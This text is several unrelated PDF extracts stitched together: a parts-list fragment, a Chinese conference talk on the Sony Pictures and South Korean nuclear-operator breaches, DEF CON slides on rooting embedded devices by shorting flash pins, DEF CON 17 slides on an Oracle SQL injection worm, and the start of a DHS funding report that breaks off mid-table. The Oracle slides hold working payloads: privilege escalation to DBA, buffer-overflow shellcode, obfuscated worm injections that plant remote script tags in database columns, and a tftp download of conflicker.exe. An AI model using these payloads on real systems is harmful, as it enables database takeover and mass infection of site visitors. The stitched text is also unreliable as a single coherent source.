NUP4302MR6T1GOSCT-ND
IC, Schottky Diode Array, 4 channel, TSOP6
$0.900
6
$5.40
28
3
U9, U12, U15
Texas Instruments
TXS0108EPWR
Digi-Key
296-23011-1-ND
IC, Level Translator, Bi-directional, TSSOP20
$2.300
3
$6.90
29
1
Y1
ECS
ECS-50-18-4XEN
Digi-Key
XC1738-ND
Crystal, 5.0MHz, 18pF, HC49/US
$0.770
1
$0.77
30
1
PCB
Any
JTAG B
N/A
N/A
PCB, Fabrication
N/A
1
$0.00
Total $50.73
Approximate Per Unit Cost
Approximate Per Unit Cost
Approximate Per Unit Cost $50.73 | pdf |
駭客如何弄垮企業?
從索尼影業與南韓核電廠事件說起
[email protected]
[email protected]
2015.01.09
HITCON
Freetalk
索尼影業被害事件
• iThome
2014
12
05
報導
•
索尼影業(Sony
Pictures)在上周⼀一(11/24)遭到駭客⼊入侵,導致內部
網路及電腦全數停擺,除影⽚片及員⼯工資料外流,並傳出內部電腦資料
全數遭刪除。介⼊入調查的FBI隨後緊急警告美國業者應留意⼀一款可執⾏行
毀滅性網路攻擊的惡意程式,資安業者對該惡意程式研究發現,駭客
在正式展開攻擊的48⼩小時前才編譯執⾏行程式,顯⽰示在攻擊之前就已掌
握⺫⽬目標對象的所有網路及鎖定的⺫⽬目標機器。
•
包括趨勢科技、賽⾨門鐵克、卡巴斯基實驗室,與Blue
Coat等資安業者
都分析了FBI所提及的Destover惡意程式,發現該惡意程式專⾨門鎖定Sony
Pictures,熟悉其內部電腦架構。除了記錄Sony內部主機名稱與IP位址
的關係,還含有許多可進⼊入共享網路的使⽤用者名稱與密碼。當滲透到
Sony網路之後,惡意程式就會開始運作,包括刪除使⽤用者的檔案,刪
除近端或遠端磁碟的檔案還有⽤用來開機的主啟動磁區(MBR)。此外,
Destover中還有⼀一個BMP桌布檔的「Hacked
By
#GOP」畫⾯面與Sony被駭
時所出現的電腦畫⾯面⼀一致。
2015/1/12
2
資料來源:hQp://www.ithome.com.tw/news/92853
Sony
Pictures事件編年史(1)
2
2014.11.24
Sony
Pictures
傳出被駭,
GOP(Guardians
Of
Peace) 宣稱是他們作的
2014.12.01
FBI介入調查,
並懷疑是北韓做的
GOP釋出26.4GB的資料,
包含4864個資料夾與33880個檔案
15232個在職員工的SSN外洩
Sony
Pictures事件編年史(2)
2015/1/12
2
2014.12.03
北韓外交官出面否認
• GOP釋出第二批被偷資料,
33.7MB的壓縮檔案
• 包含了500組帳密,
主機資訊,
內部IP
• 伺服器的憑證資料
• 121組FTP帳密
• 公司對外使用的各種服務帳號,
包括YouTube,novell,
mediataxi,
inflight,
fidelity,
spiDR,
SPIRIT,
sony
style
family
center,
FEDEX,
Connect,
SPTI,
Acron
TASS,
SPE
Courier,
Concur,
SPC
Press,
AIM,
HR
Connect,
AMEX
Sony
Picture事件編年史(3)
2
2014.12.09
北韓朝鮮通信表示駭客行為是正義的,
並否認北韓參與
2014.12.17
Sony
Pictures
宣布取消
“The
Interview”
公映
2014.12.19
FBI開記者會證實北韓是幕後主使者
2014.12.23
北韓對外網路斷光光
2014.12.24
Sony
Pictures
宣布恢復
“The
Interview”
公映
2015.01.02
美國對北韓進行新一輪的經濟制裁
攻擊SPE的惡意軟體
(FBI/US-‐CERT公佈的資訊)
種類
數量
說明
SMB
蠕蟲
2種
透過網芳猜測密碼並植入惡意程式
監聽工具
未知
監聽網路,
監聽鍵盤,
監聽瀏覽器
輕量型後門
13種
單純回報與接收命令
代理工具
10種
內部網路連接使用
硬碟破壞工具
未知
破壞硬碟開機區域(MBR)
毀滅&清除工具
2種
刪除惡意程式並清除記錄
Destover
6種
徹底銷毀硬碟資訊,
復原無效
惡意程式中繼站
(FBI/US-‐CERT公佈的資訊)
IP
國家
Port
Number
203.131.222.102
泰國
8080
217.96.33.164
波蘭
8080
88.53.215.64
義大利
8080
200.87.126.116
玻利維亞
8080
58.185.154.99
新加坡
8080
212.31.102.100
塞浦路斯
8080
208.105.226.235
美國
80
誰做的
2015/1/12
2
跟FBI持不同看法
時間:
2014.11.21-‐22
資料大小:
200+
GB
複製花費時間:
5
小時
換算大概
88M
bit/s
èèè
USB
2.0
的速度
網路加碼爆料(hQp://sony.aQributed.to/)
稱北韓真的有涉案
POWERCOM
,
首爾,
南韓
DreamcityMedia,
京畿道平澤市,
南韓
VITSSEN,
京畿道安養市,
南韓
HOSTWAY,
江原道春川市,
南韓
VAAN,
⾸首爾,
南韓
個人觀點
• 行為大張旗鼓
– 又勒索金錢,
又公佈資料,
怎看都不像國家級網
軍會做的事情
• 技術層次不同
– 2013/03/20
駭客有能力單一程式抹殺硬碟
– 本次居然需要第三方驅動程式才能進行
• 程式碼分析沒有找到關聯性
– 填入硬碟的字串
à
沒有關聯性
– 相似的程式碼片段 à
沒有找到相似的
惡意行為分析
Part
I
2015/1/12
2
diskpartmg16.exe(BKDR_WIPALL.A)
2015/1/12
2
從程式內取出帳號密碼
對遠端主機將系統目錄分享給everyone
igfxtrayex.exe(BKDR_WIPALL.B)
2015/1/12
Confidenmal
|
Copyright
2014
TrendMicro
Inc.
2
連接中繼站,
取得下一步指令
解出程式iissvr.exe並執行
解出程式usbdrv32.sys並執行
把所有硬碟的資料刪除(包括網路硬碟)
停掉
Microsoo
Exchange
Informamon
Store
service服務
惡意行為分析
Part
II
2015/1/12
Confidenmal
|
Copyright
2014
TrendMicro
Inc.
2
BKDR64_WIPALL.F
• 安裝KProcessHacker
驅動程式
• 把下列McAfee程式停掉
2015/1/12
Confidenmal
|
Copyright
2014
TrendMicro
Inc.
2
南韓核電廠事件
南韓核電廠遭駭,攻擊IP源⾃自中國
• 負責南韓23個核電廠的南韓⽔水⼒力與核電公社(Korea
Hydro
and
Nuclear
Power,KHNP)在上周傳出遭到駭客⼊入侵,南韓追查來
源之後發現,攻擊IP位於中國。然⽽而外電報導指出,南韓懷疑
幕後⿊黑⼿手其實是北韓,因此已請求中國政府協助調查。
• 駭客⾃自稱為「反核⼦子反應爐集團主席」,並陸續公布南韓核電
廠的平⾯面圖、操作⼿手冊,與超過1萬名KHNP的員⼯工資料,要求
南韓限時關閉3座核⼦子反應爐,否則就要釋出更多機密資訊。
• 根據外電報導,南韓政府調查發現駭客利⽤用了美國、⽇日本,與
南韓的虛擬私⼈人網路等不同路徑以迴避追蹤,⽽而最原始的攻擊
IP則來⾃自中國的瀋陽。由於瀋陽靠近中國與北韓的邊界,再加
上瀋陽為北韓駭客聚集之地,南韓懷疑幕後⿊黑⼿手為北韓,並請
求中國政府協助調查。
資料來源:
ithome
hQp://www.ithome.com.tw/news/93200
事件發生時間表(1)
日期/時間
事件說明
2014.11.28
惡意HWP文件製作
2014.12.09
05:00—15:00
發送5980封惡意郵件給3571人
2014.12.10
11:00
惡意程式被觸發並執行
2014.12.10
內部網路惡意連線被偵測
2014.12.15
駭客在Naver部落格開始張貼文章
2014.12.15
20:01
駭客的facebook帳號建立
事件發生時間表(2)
日期/時間
事件說明
2014.12.15
20:14
部落格第一次發文
2014.12.15
20:33
部落格第二次發文,
公佈內部員工資料
2014.12.15
20:37
部落格第三次發文,
勒索金錢
2014.12.15
20:40
部落格第四次發文,
宣稱有機密資料
2014.12.15
20:42
部落格第五次發文,
發佈海報,
駭客團
體“Who
AM
I”
2014.12.15
23:41
駭客的twiQer帳號建立
事件發生時間表(3)
日期/時間
事件說明
2014.12.16
01:00
TwiQer首次發佈鏈結,
可下載資料
2014.12.18
14:00
TwiQer二度發佈鏈結,
公佈另外下載資料
2014.12.18
18:40
Naver的駭客帳號變成私密帳號
2014.12.19
20:20
TwiQer三度發佈鏈結,
公佈另外下載資料
2014.12.21
01:30
TwiQer四度發佈鏈結,
公佈另外下載資料
2014.12.23
15:07
TwiQer五度發佈鏈結,
公佈另外下載資料
事件發生時間表(4)
日期/時間
事件說明
2014.12.23
韓國政府聯合調查團 發現攻擊來源是從三
個VPN端點,
並請求中國協助調查
2014.12.25
青瓦台召開核能電廠中斷可能性安全評估
10人小組
2014.12.26
決議核電營運繼續,
然後緊急反應小組待
命到12/31日
同日3號機組氣體外洩導致三人死亡,
排除
跟本次駭客相關
北韓官方”民主朝鮮”否認本次行動
2014.12.28
KHNP自行調查結果發現共有12類型,117件
資料外洩
惡意程式列表
檔名
類型
사업계획서.hwp
(商業計劃書.hwp)
Dropper
외교통일안보요지서.hwp
(外交與統一的安全框架.hwp)
Dropper
훈련소.hwp
(培訓學校.hwp)
Dropper
보고서취합본.hwp
(報告匯整.hwp)
Dropper
안보의견.hwp
(安全意見.hwp)
Dropper
제어program(최신-‐W2).hwp
(控制程序(最新-‐W2).hwp)
Dropper
자료_2014.hwp
(數據_2014.hwp)
Dropper
wsss.dll
Wiper
攻擊意示圖
南韓境內三家VPN業者
Dropbox
NAVER
外洩資料
Facebook
TwiQer
Pastebin
連結散佈
中國瀋陽
美國
日本
攻擊IP
KHNP
外部電腦
內網電腦
惡意程式分析
惡意程式分析
II
企業如何因應!?
• 防護思維要改變
– 重兵防守前線的時代已經過去,
要思考駭客在大
後方作亂的解決方案
– 不要關起門來處理,
要廣邀外界專家協助
• 緊急事件反應小組(IR)要成立
– 要有專職人員隨時注意外界資安新知/消息
• 擁抱新科技
– SDN
security,
IoT/IoE
security,…..
– 桌移小強出的新概念 | pdf |
pin2pwn: How to Root
an Embedded Linux
Box with a Sewing
Needle
Brad Dixon - Carve Systems
DEF CON 24
• It works
• Easy
• Teachable
• Dramatic
“USEFUL NOVELTY”
• Risky
• Crude
• Perhaps redundant
Demo
Prior Art
• Significant body of work around fault injection
and glitching at the IC level for secure
processors
• Recent system-level applications:
-
2004: WRT54 “Bricked Router” recovery, Administrator note
by mbm
-
“How to Hack the Hudl – We give Rockchip a good seeing to”,
Pen Test Partners blog post
-
“WINKHUB Side Channel Attack”, Kevin2600
For today…
• When this attack can be effective
• Why this attack works
• How to defend against this attack
RISKS TO HARDWARE
• I have not yet destroyed
hardware but this is abuse of
semiconductor devices.
• Use on equipment you can
afford to destroy.
• Depending on the hardware
you may have better and safer
options. Use those first.
102
Generic Networked Doohickey Product Design
Order of Attack
1. Serial
2. JTAG
3. …
4. Flash to CPU
interface
CPU
Flash
Ethernet
Memory
Serial
JTAG
Other I/O
Parallel or
SPI flash
poke here
Why does this work?
• Disrupt boot chain with a transient fault
• Activate an unexpected failure path
Boot loader
Kernel load to RAM
Scan / Mount ?
Init / Start App
poke now…
…or now
Scenario #1: Exploitable U-Boot Configuration
1. No JTAG.
2. Homegrown “secure” boot
3. Try to load and boot kernel #1
4. Try to load and boot kernel #2
5. If that fails then… return to U-Boot prompt!
Scenario #2: Exploitable Init Configuration
• /bin/init reads /etc/inittab
• /bin/init runs /etc/rc
• /etc/rc starts application in the foreground
• Application grabs console and presents a login prompt with
credentials we don’t know
• BUT… if the application fails to load then /bin/init runs /bin/sh
Lab Example
• FT232R
- IOH=2mA
- Imax=24mA
How To
•
Survey HW
•
Identify ports to
monitor boot
•
Datasheets
•
Inspect failure
modes, if possible
•
Get boot timing
Prepare
•
Select pins to poke
•
Get some timing
help
•
Poke!
•
May take a few
attempts
•
Power-off between
tests
Poke
•
Monitor for unusual
behavior
- Serial traffic
- Fallback boot configurations
- Re-activated JTAG
- New network ports
•
Sometimes you get
lucky!
Pwn?
Defense: FAIL CLOSED
• Test your failure paths including transient hardware failure.
• Modify boot loaders to reboot at the end of the automated boot
sequence.
• Be cautious shipping “fail to debug mode” features in production
configurations.
Thank you | pdf |
The Making Of Second SQL
Injection Worm (Oracle
Edition)
Sumit Siddharth
[email protected]
www.notsosecure.com
Defcon 17
Las Vegas –2009
2
Defcon 17, Las Vegas, July 2009
About Me:
Senior IT Security Consultant
More than 4 years of Penetration Testing
Not an Oracle Geek :(
My Blog: www.notsosecure.com
10 slides + 2 Demos= 20 Mins !!
3
Defcon 17, Las Vegas, July 2009
Agenda
How to exploit SQL Injections in web
applications with oracle back-end to achieve
the following:
Escalate privileges from the session user to that
of SYS (Similar to openrowset hacks in MS SQL)
Execute OS Commands and achieve file system
read/write access (Like xp_cmdshell in MS SQL)
Can worms target Oracle web apps? (Just as
they did against MS SQL)
4
Defcon 17, Las Vegas, July 2009
Oracle: How Things Work
By default Oracle comes with a lot of stored
procedures and functions.
Mostly these functions and stored procedures
run with definer privileges (default).
In order to make the function execute with the
privileges of the user executing it, the function
must have 'authid current_user' keyword.
If you find a SQL (PL/SQL) injection in a
function owned by SYS and with 'authid definer',
you can run SQL (PL/SQL) as SYS.
5
Defcon 17, Las Vegas, July 2009
SQL Injection in Oracle:
• PL/SQL Injection
• Injection in
Anonymous
PL/SQL block
• No Restriction
• Execute DDL, DML
• Easy
• SQL Injection
• Injection in Single SQL
Statement
• Restrictions
• No ';' allowed
• Need more vulnerabilities
• Difficult
6
Defcon 17, Las Vegas, July 2009
PL/SQL Injection
Injection in Anonymous PL/SQL block
create or replace procedure orasso.test (q IN varchar2) AS
BEGIN
execute immediate ('begin '||q||'; end;');
END;
* Attack has no limitation
* Can Execute DML and DDL statements
* Easy to exploit
* Can Execute Multiple statements:
* q=>null;execute immediate 'grant dba to public';end'--
7
Defcon 17, Las Vegas, July 2009
PL/SQL Injection from Web Apps
Vulnerable Oracle Application server allows PL/SQL injection
Bypass the PL/SQL exclusion list:
http://host:7777/pls/orasso/orasso.home?);execute+immediate+:1;
--={PL/SQL}
Execute PL/SQL with permissions of user described in 'DAD'
(orasso_public)
Exploit vulnerable procedures and become DBA
Don't rely on 'create function' privileges
LT.COMPRESSWORKSPACETREE (CPU Oct 2008; milw0rm:7677)
LT.FINDRICSET (CPU October 2007; milw0rm:4572)
.....100 more of these.....
Execute OS code (I Prefer Java)
8
Defcon 17, Las Vegas, July 2009
Hacking OAS with OAP_Hacker.pl
OAP_hacker.pl
Supports O.A.S <=10.1.2.2
Relies on PL/SQL injection vulnerability
Exploits vulnerable packages and grants DBA to 'public'
Generally orasso_public do not have create function
privilege
Exploit based on Cursor Injection; Don't need create
function
OS code execution based on Java
Demo
9
Defcon 17, Las Vegas, July 2009
PL/SQL Injection
Custom written Packages deployed on OAS may have PL/SQL Injection
Example:
create or replace procedure orasso.test(q IN varchar2) AS
BEGIN
....
execute immediate ('begin '||q||'; end;');
.....
end;
http://host/pls/orasso/orasso.test?q=orasso.home
http://host/pls/orasso/orasso.test?q=execute Immediate 'grant dba to
public'
10
Defcon 17, Las Vegas, July 2009
SQL Injection In Web Apps.
Injection in Single SQL statement:
e.g. “Select a from b where c=”.'$input'
Oracle does not support nested query in SQL
To execute multiple query we need to find a PL/SQL
Injection.
How can we inject PL/SQL when the web application's
SQL Injection allows only SQL?
If there is a PL/SQL injection vulnerability in a
function, then we can use web's SQL Injection to call
this function, thereby executing PL/SQL via SQL
Injection.
11
Defcon 17, Las Vegas, July 2009
SQL Injection and Vulnerable
Functions
We can call functions in SQL but not procedures
Exploit Functions vulnerable to Buffer overflow and other issues
MDSYS.MD2.SDO_CODE_SIZE('AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD
DDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHH'||CHR(131)||CHR(195)||CHR(9)||CHR(255)||CHR (227)||CHR(251)||CHR(90)||
CHR(19)||CHR(124)||CHR(54)||CHR(141)||CHR(67)||CHR(19)||CHR(80)||chr(184)||chr(191)||
chr(142)||chr(01)||chr(120)||chr(255)||chr(208)||chr(184)||chr(147)||chr(131)||chr(00)||chr(120)||
chr(255)||chr(208)||'dir >c:\dir.txt')--
Exploit Functions vulnerable to PL/SQL Injection
➔ If Authid=definer; execute PL/SQL with definer privileges
➔ If Authid=current_user; execute PL/SQL; exploit vulnerable packages
➔ Privilege escalation; become DBA
➔ Execute OS Code
12
Defcon 17, Las Vegas, July 2009
Introducing
Dbms_Export_Extension
Its an Oracle package which has had a number
of functions and procedures vulnerable to
PL/SQL injections, allowing privilege escalation.
GET_DOMAIN_INDEX_TABLES(); function
vulnerable to PL/SQL Injection; owned by sys;
runs as sys
We can inject PL/SQL within this function and
the PL/SQL will get executed as SYS.
The Function can be called from SQL queries
such as SELECT, INSERT, UPDATE etc.
13
Defcon 17, Las Vegas, July 2009
PL/SQL Injection in
dbms_export_extension
FUNCTION GET_DOMAIN_INDEX_TABLES ( INDEX_NAME IN VARCHAR2, INDEX_SCHEMA IN
VARCHAR2, TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN VARCHAR2, READ_ONLY IN
PLS_INTEGER, VERSION IN VARCHAR2, GET_TABLES IN PLS_INTEGER)
RETURN VARCHAR2 IS
BEGIN
[...]
STMTSTRING := 'BEGIN ' || '"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||
'".ODCIIndexUtilCleanup(:p1); ' || 'END;';
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
[...]
END GET_DOMAIN_INDEX_TABLES;
14
Defcon 17, Las Vegas, July 2009
Example
select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_
INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PU
T(:P1);EXECUTE IMMEDIATE ''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE '''' grant dba to
public'''';END;'';END;-- ','SYS',0,'1',0) from dual
Fixed in CPU April 2006.
Vulnerable versions: Oracle 8.1.7.4, 9.2.0.1 -
9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2,
XE
15
Defcon 17, Las Vegas, July 2009
Bsqlbf v2.3
Uses this Oracle exploit to achieve the
following:
Privilege escalation (Type 3)
OS code execution (Type 4)
with Java (default; stype 0)
with plsql_native_make_utility (Oracle 9; stype 1)
with dbms_scheduler (oracle 10; stype 2)
File system read/write access (Type 5;Java only)
Demo available at www.notsosecure.com
16
Defcon 17, Las Vegas, July 2009
SQL Injection w0rms
MS-SQL:
s=290';DECLARE%20@S
%20NVARCHAR(4000);=CAST(0x6400650063006C00610072006500200040006D0020007600610072006300680061007200280038003000300030002900
3B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065
005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400
720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290
029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E0065
0074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002
E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00
640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200
061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E00780074
00790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006
D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280
040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007
400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS
%20NVARCHAR(4000));EXEC(@S);--
Oracle:
http://127.0.0.1:81/ora4.php?name=1 and 1=(select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' begin execute immediate '''''''' alter session set
current_schema=SCOTT ''''''''; execute immediate ''''''''commit'''''''';for rec in (select chr(117)||chr(112)||chr(100)||chr(97)||chr(116)||
chr(101)||chr(32)||T.TABLE_NAME||chr(32)||chr(115)||chr(101)||chr(116)||chr(32)||C.column_name||chr(61)||C.column_name||
chr(124)||chr(124)||chr(39)||chr(60)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(32)||chr(115)||chr(114)||chr(99)||
chr(61)||chr(34)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(110)||
chr(111)||chr(116)||chr(115)||chr(111)||chr(115)||chr(101)||chr(99)||chr(117)||chr(114)||chr(101)||chr(46)||chr(99)||chr(111)||
chr(109)||chr(47)||chr(116)||chr(101)||chr(115)||chr(116)||chr(46)||chr(106)||chr(115)||chr(34)||chr(62)||chr(60)||chr(47)||chr(115)||
chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(62)||chr(39) as foo FROM ALL_TABLES T,ALL_TAB_COLUMNS C WHERE
T.TABLE_NAME = C.TABLE_NAME and T.TABLESPACE_NAME like chr(85)||chr(83)||chr(69)||chr(82)||chr(83) and C.data_type like
chr(37)||chr(86)||chr(65)||chr(82)||chr(67)||chr(72)||chr(65)||chr(82)||chr(37) and c.data_length>200) loop EXECUTE IMMEDIATE
rec.foo;end loop;execute immediate ''''''''commit'''''''';end;'''';END;'';END;--','SYS',0,'1',0) from dual)--
17
Defcon 17, Las Vegas, July 2009
What 'could' the worm do
Update certain database tables
The website not starts to distribute malware
Pwn legitimate users of the site with browser exploits
There are enough 'ie' 0 days out there.
OS code execution allows distribution of other worms such as Conflicker!
select LinxRunCmd('tftp -i x.x.x.x GET conflicker.exe') from dual
Exploit other Oracle components on internal network
Oracle Secure back-up; Remote Command Injection (CPU 2009)
SQL Injection in Oracle Enterprise Manager (CPU 2009)
TNS Listener exploits (milw0rm: 8507)
....100 other things to do....
18
Defcon 17, Las Vegas, July 2009
Demos
Demo 1: Hacking OAS with OAS_hacker.pl
Demo 2: Privilege escalation; Extracting data with SYS
privileges (visit www.notsosecure.com)
Demo 3: O.S code execution; With Java (@ notsosecure)
Demo 4: P.O.C for a potential Oracle SQL Injection worm
19
Defcon 17, Las Vegas, July 2009
Thank You
References:
http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html
http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_lt_findricset.html
http://www.breach.com/resources/breach-security-labs/alerts/breach-security-labs-releases-alert-on-oracle-application-se
http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html
http://sec.hebei.com.cn/bbs_topic.do?forumID=18&postID=4275&replyID=0&skin=1&saveSkin=true&pages=0&replyNum
http://milw0rm.com/exploits/3269
http://www.securityfocus.com/bid/17699
http://www.orafaq.com/wiki/PL/SQL_FAQ#What_is_the_difference_between_SQL_and_PL.2FSQL.3F
http://www.red-database-security.com/wp/confidence2009.pdf
http://alloracletech.blogspot.com/2008/07/authid-definer-vs-authid-currentuser.html
http://www.owasp.org/index.php/Testing_for_Oracle
http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf
http://lab.mediaservice.net/notes_more.php?id=Oracle_Portal_for_Friends
http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf
And Lots more; can't fit in the space here.... | pdf |
State Interoperable Communications:
DHS Funded Activities
Fiscal Years 2003 - 2005
May 2006
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
ii
State Interoperable Communications: DHS Funded Activities
May 2006
Table of Contents
May 2006
State Interoperable Communications: DHS Funded Activities
iii
Table of Contents
INTEROPERABLE
COMMUNICATIONS ALLOCATIONS. 1
Interoperable Communications Allocation
Summary..................................................... 3
Interoperable Communications Equipment
Allocation State Summary ......................... 5
INTEROPERABLE
COMMUNICATIONS SUMMARY
SUPPORTING GRAPHS ..................... 7
INTEROPERABLE
COMMUNICATIONS STATE
SUMMARIES ..................................... 13
Alabama Information...............................15
Alaska Information ..................................17
American Samoa Information .................19
Arizona Information................................ 21
Arkansas Information ..............................23
California Information ............................25
Colorado Information..............................27
Connecticut Information......................... 29
Delaware Information .............................31
District of Columbia Information ...........33
Florida Information.................................35
Georgia Information................................37
Guam Information...................................39
Hawaii Information.................................41
Idaho Information ................................... 43
Illinois Information.................................45
Indiana Information ................................47
Iowa Information.....................................49
Kansas Information..................................51
Kentucky Information .............................53
Louisiana Information .............................55
Maine Information................................... 57
Maryland Information .............................59
Massachusetts Information......................61
Michigan Information.............................. 63
Minnesota Information............................65
Mississippi Information...........................67
Missouri Information...............................69
Montana Information .............................. 71
Nebraska Information..............................73
Nevada Information.................................75
New Hampshire Information..................77
New Jersey Information ..........................79
New Mexico Information ........................ 81
New York Information ............................ 83
North Carolina Information....................85
North Dakota Information ......................87
Northern Mariana Islands Information ..89
Ohio Information.....................................91
Oklahoma Information............................ 93
Oregon Information.................................95
Pennsylvania Information .......................97
Puerto Rico Information..........................99
Rhode Island Information .....................101
South Carolina Information ..................103
South Dakota Information.....................105
Tennessee Information ..........................107
Texas Information..................................109
Utah Information...................................111
Vermont Information ............................113
Virgin Islands Information....................115
Virginia Information .............................117
Washington Information.......................119
West Virginia Information ....................121
Wisconsin Information..........................123
Wyoming Information...........................125
Table of Contents
iv
State Interoperable Communications: DHS Funded Activities
May 2006
Interoperable Communications Allocations
May 2006
State Interoperable Communications: DHS Funded Activities
1
Interoperable Communications Allocations
Interoperable Communications Allocations
2
State Interoperable Communications: DHS Funded Activities
May 2006
Interoperable Communications Allocations Summary
May 2006
State Interoperable Communications: DHS Funded Activities
3
Interoperable Communications Allocation Summary
National Interoperable Communications Equipment and Other Interoperable Communications
Funded Activities Allocation Summary for Fiscal Years 2003, 2004 and 2005.
FY 2003
FY 2004
FY 2005
Total
Interoperable
Communications
Equipment
$205,027,893.11
$1,058,657,970.91
$643,068,425.26 $1,906,754,289.28
Other Interoperable
Communications
Funded Activities
$120,812,450.68
$126,026,527.24
$246,838,977.92
Total
$205,027,893.11
$1,179,470,421.59
$769,094,952.50 $2,153,593,267.20
“Interoperable Communications Equipment” represents those project funds specifically allocated
to the Interoperable Communications Equipment solution area subcategory for the procurement
of interoperable communications equipment.
“Other Interoperable Communications Funded Activities” are interoperable communications
project funds allocated to any other subcategory, for example: “Develop and Enhance Plans and
Protocols” or “Training Course and Program Development, Delivery, or Evaluation”."
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates added into the GRT by users. Because
FY 2003 grants were not reported in the GRT, project level data is not available for these grants.
Sources: 2003 Allocated Funding on Interoperable Communications Equipment Report; 2004 and 2005 BSIR
(December 05) Keyword Search - Interoperable Communications Equipment Report. Summary data for Puerto Rico
is from the 2004 and 2005 BSIR (June 05) Keyword Search - Interoperable Communications Equipment Report.
Interoperable Communications Allocations Summary
4
State Interoperable Communications: DHS Funded Activities
May 2006
Interoperable Communications Allocations State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
5
Interoperable Communications Allocation State Summary
National Interoperable Communications Equipment and Other Interoperable Communications
Funded Activities Allocation Summary by state for Fiscal Years 2003, 2004 and 2005.
State
FY 2003
FY 2004
FY 2005
Total
AK
$3,679,679.00
$10,098,928.00
$6,436,651.00
$20,215,258.00
AL
$1,373,800.00
$17,690,150.13
$8,135,840.49
$27,199,790.62
AR
$1,167,307.98
$26,899,261.75
$12,033,172.25
$40,099,741.98
AS
$696,836.50
$1,368,194.00
$340,000.00
$2,405,030.50
AZ
$2,000,000.00
$13,672,463.56
$5,697,782.91
$21,370,246.47
CA
$3,319,651.00
$94,151,055.64
$63,597,435.23
$161,068,141.87
CO
$7,873,076.00
$26,429,497.20
$10,372,218.30
$44,674,791.50
CT
$540,800.00
$17,430,737.00
$8,278,243.00
$26,249,780.00
DC
$5,701,790.00
$15,629,916.00
$24,248,451.00
$45,580,157.00
DE
$3,786,306.43
$5,714,845.34
$2,350,518.91
$11,851,670.68
FL
$4,210,057.00
$27,644,284.00
$23,873,868.00
$55,728,209.00
GA
$2,261,970.29
$35,316,832.00
$31,567,337.35
$69,146,139.64
GU
$759,100.00
$603,605.00
$91,468.00
$1,454,173.00
HI
$2,806,430.00
$7,151,977.00
$6,002,665.00
$15,961,072.00
IA
$500,000.00
$9,580,105.19
$5,767,007.00
$15,847,112.19
ID
$0.00
$6,019,215.66
$7,586,285.00
$13,605,500.66
IL
$38,951,790.19
$53,283,008.75
$31,932,687.00
$124,167,485.94
IN
$1,516,358.74
$22,680,511.44
$5,074,681.00
$29,271,551.18
KS
$0.00
$14,606,793.59
$5,036,279.00
$19,643,072.59
KY
$2,268,323.72
$30,357,172.39
$17,354,448.00
$49,979,944.11
LA
$3,451,736.66
$20,683,060.24
$29,607,304.64
$53,742,101.54
MA
$10,024,269.07
$20,805,881.76
$13,847,155.21
$44,677,306.04
MD
$0.00
$22,433,839.00
$11,172,122.00
$33,605,961.00
ME
$67,274.00
$14,607,288.84
$14,710,255.80
$29,384,818.64
MI
$1,355,000.00
$26,753,880.86
$16,640,712.53
$44,749,593.39
MN
$24,415,173.21
$34,950,653.68
$13,421,183.00
$72,787,009.89
MO
$5,894,550.12
$23,423,221.27
$25,262,268.15
$54,580,039.54
MP
$278,350.00
$906,000.00
$287,500.00
$1,471,850.00
MS
$1,062,059.34
$5,583,667.20
$6,193,702.29
